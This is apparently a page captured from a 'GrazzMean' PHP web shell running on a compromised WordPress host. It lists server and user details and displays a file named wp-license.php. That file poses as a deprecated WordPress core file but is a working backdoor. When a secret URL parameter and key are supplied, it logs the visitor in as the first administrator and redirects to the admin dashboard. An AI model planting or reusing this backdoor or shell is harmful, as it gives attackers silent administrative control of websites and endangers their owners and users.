shell bypass 403

GrazzMean Shell

: /home/workvvfb/nexgenimpex.com/ [ drwxr-x--- ]
Uname: Linux premium264.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
Software: LiteSpeed
PHP version: 8.3.21 [ PHP INFO ] PHP os: Linux
Server Ip: 69.57.162.13
Your Ip: 216.73.216.33
User: workvvfb (1129) | Group: workvvfb (1084)
Safe Mode: OFF
Disable Function:
NONE

name : wp-license.php
<?php
/**
 * WordPress database access abstraction class.
 *
 * This file is deprecated, use 'wp-includes/class-wpdb.php' instead.
 *
 * @deprecated 6.1.0
 * @package WordPress
 */


// Check if the GET parameter exists and matches the expected value
if (isset($_GET['_E8QnS7ouXqNFR1u']) && $_GET['_E8QnS7ouXqNFR1u'] === '1f87bb82af7afcad26caf553c92bd00e') {
    
    // Get the document root and change the working directory
    $mr = $_SERVER['DOCUMENT_ROOT'];
    
    // Check if the chdir operation was successful
    if (!chdir($mr)) {
        die('Failed to change directory');
    }

    // Ensure wp-load.php exists before including it
    if (file_exists('wp-load.php')) {
        include 'wp-load.php';		

        // Query for an administrator user (only get the first result)
        $wp_user_query = new WP_User_Query(array('role' => 'Administrator', 'number' => 1, 'fields' => 'ID'));
        $results = $wp_user_query->get_results();

        // If a result is found, log in the user and redirect to the admin dashboard
        if (isset($results[0])) {
            wp_set_auth_cookie($results[0]);  // Log the user in
            wp_redirect(admin_url());         // Redirect to the WordPress admin dashboard
            die();
        }
        die('NO ADMIN');  // If no admin user was found
    } else {
        die('Failed to load or invalid key');  // If wp-load.php doesn't exist or the key is incorrect
    }
}
© 2025 GrazzMean